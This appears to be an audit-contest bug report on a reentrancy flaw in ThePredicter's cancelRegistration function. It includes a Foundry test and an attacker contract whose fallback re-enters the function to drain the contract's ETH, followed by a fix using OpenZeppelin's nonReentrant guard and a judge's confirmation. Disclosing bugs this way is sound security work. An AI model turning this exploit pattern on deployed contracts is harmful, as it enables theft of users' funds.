Submission Details
Severity:
Withdraw all funds by calling cancelRegistration(ThePredicter)
Summary
Attacker can withdraw all funds by calling cancelRegistration in the ThePredicter contract.
Vulnerability Details
cancelRegistration lack reentrance check, attacker can repeated withdraw ETH by recalling this function when receiving ETH in the fallback function
Impact
Lost all balance, if the balance less than entranceFee, just send more ETH to the ThePredicter contract, make the balance equal entranceFee, then wtihdraw all.
Tools Used
Manual
// cancelRegistration withdraw all funds
function test_WithdrawAllBycancelRegistration() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
console.log(
"ThePredicter balance Before Attacking",
address(thePredicter).balance
);
address attacker = address(new AttackContract(address(thePredicter)));
vm.startPrank(attacker);
vm.deal(attacker, 0.04 ether);
thePredicter.register{value: 0.04 ether}();
thePredicter.cancelRegistration();
vm.stopPrank();
console.log(
"ThePredicter balance After Attacking",
address(thePredicter).balance
);
}
contract AttackContract {
ThePredicter thePredicter;
constructor(address thePredicterAddress) {
thePredicter = ThePredicter(thePredicterAddress);
}
fallback() external payable {
// ThePredicter entranceFee = 0.04 ether
if (address(thePredicter).balance >= 0.04 ether) {
thePredicter.cancelRegistration();
}
}
}
Recommendations
One solution is apply Openzepplin nonReentrant.
Another solution is apply checks-effects-interactions-pattern. But this require the contract record the balance. which means should add more logic in the contract.
import "openzeppelin-contracts/contracts/utils/ReentrancyGuard.sol"
function cancelRegistration() public nonReentrant {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
Updates
Lead Judging Commences
NightHawK about 1 year ago
Submission Judgement Published Assigned finding tags:
Reentrancy in cancelRegistration
Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.
Rewards breakdown
nSLOC
191This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.